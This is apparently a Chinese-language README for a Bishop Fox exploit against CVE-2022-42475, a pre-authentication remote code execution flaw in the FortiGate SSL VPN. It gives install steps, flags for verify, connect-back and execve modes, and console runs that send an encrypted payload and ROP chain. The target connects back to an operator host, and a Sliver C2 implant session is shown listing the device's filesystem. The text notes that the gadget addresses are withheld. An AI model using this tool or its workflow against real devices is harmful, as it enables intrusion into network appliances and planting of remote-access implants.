这是针对博客文章 https://bishopfox.com/blog/exploit-cve-2022-42475 的利用程序。
此版本的利用程序在没有您(黑客)提供必要的ROP gadget等内存地址的情况下将无法工作。确定这些数据的工作是Bishop Fox的机密和专有信息,我不会(也无法)将其与此利用程序一同发布。相信您能够理解!
execve(binary_file)。注意:目前“仅验证”模式适用于所有已知版本的FortiOS。然而,利用程序_仅_在FortiOS 6.0.4及100D硬件上有效。我不再在BF工作,因此无法发布支持约18k个目标的扩展利用程序。
pip3 install PyCrypto
pip3 install pycryptodome
此模式不会尝试利用漏洞,而是触发一个崩溃(远程SSL VPN守护进程会自动并立即重启)。通过启发式方法检测崩溃并报告给操作员。
使用 -v 验证标志运行:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 正在以仅验证模式运行。无RCE。
[>] 测试目标是否易受攻击(可能需要10秒)
[+] 目标 '192.168.0.10:8443' 似乎存在漏洞
这将触发漏洞,部署ROP链,并跳转到shellcode。shellcode是良性的,工作流程如下:
0xbf/tmp/x0xbf 字节标志参数:
-t 目标主机/IP
-p 目标端口
-e 利用模式
-c 仅回连模式
-H 和 -P 操作员的IP:端口(必需)
-s FortiOS软件版本(必需)
-m 运行FortiOS的硬件型号
-d 开启调试
一个示例,其中我们选择了软件版本 6.0.4 和硬件型号 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 生成随机的128位AES密钥用于加密载荷
[+] 正在加密载荷...
[+] 使用缓存的shellcode。编辑 ./x.py(搜索'shellcode.s')以强制刷新。
[+] 配置为回连到 192.168.0.99:443
[+] 启动加密载荷监听器...
[+] 准备利用...
[+] 发送请求!
[+] 从 'exploit_data.json' 导入gadget
[<] 监听器绑定到端口443,等待回连...
[+] 验证gadget...
[!] FortiOS '5.2.14' 未定义任何可用的硬件型号。已移除。
[!] FortiOS '5.6.9' 未定义任何可用的硬件型号。已移除。
[+] 已导入797个目标:
[-] 6.0.4 [ 1个目标 ] <=== 100D
[-] 5.2.14 [ 47个目标 ]
[-] 5.6.9 [ 60个目标 ]
[-] 6.0.13 [ 68个目标 ]
[-] 6.0.14 [ 67个目标 ]
[-] 6.0.15 [ 58个目标 ]
[-] 6.0.8 [ 67个目标 ]
[-] 6.2.11 [ 69个目标 ]
[-] 6.2.7 [ 75个目标 ]
[-] 6.4.10 [ 71个目标 ]
[-] 6.4.2 [ 62个目标 ]
[-] 6.4.3 [ 61个目标 ]
[-] 6.4.6 [ 73个目标 ]
[-] 6.4.9 [ 72个目标 ]
[-] 7.0.4 [ 53个目标 ]
[+] 开始利用
[<] 来自 192.168.0.10:22470 的请求
[<] 收到来自目标的hello包!!型号:100D
[<] 发送36字节的加密载荷
[<] 载荷发送完成(36字节),等待响应...
[<] 从 192.168.0.10 收到预期响应('100D')
[<] 以100%置信度确认目标存在漏洞。
[+] 全部完成!
如果省略 -m 选择硬件型号,利用程序将针对指定软件版本的所有硬件目标进行暴力尝试。
0xbf/tmp/x0xbf 字节execve("/tmp/x")标志参数:
-t 目标主机/IP
-p 目标端口
-e 利用模式
-f filename /path/to/binary/to/execve/on/target
-H 和 -P 操作员的IP:端口用于回连(必需)
-s FortiOS软件版本(必需)
-m 运行FortiOS的硬件型号
-d 开启调试
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
所有黑客获得生命武器
[*] 服务器 v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] 欢迎使用sliver shell,输入 'help' 查看选项
[server] sliver > mtls -l 8888
[*] 启动 mTLS 监听器 ...
[*] 成功启动任务 #1
利用程序:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 利用程序将尝试在目标上执行 execve("implant5")
...
[<] 以100%置信度确认目标存在漏洞。
[+] 全部完成。
再回到Sliver:
[*] 会话 d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] 活动会话 implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
登录ID: <err>
[server] sliver (implant5) > ls
/ (19 个项, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
请注意,Sliver返回 <err>,因为FortiOS有点类似Linux但并不完全一致,运行时可能不会像预期那样工作。这是FortiOS的问题,不是Sliver的。
我不再在Bishop Fox工作,因此您需要关注BF的GitHub以获取此方面的更新。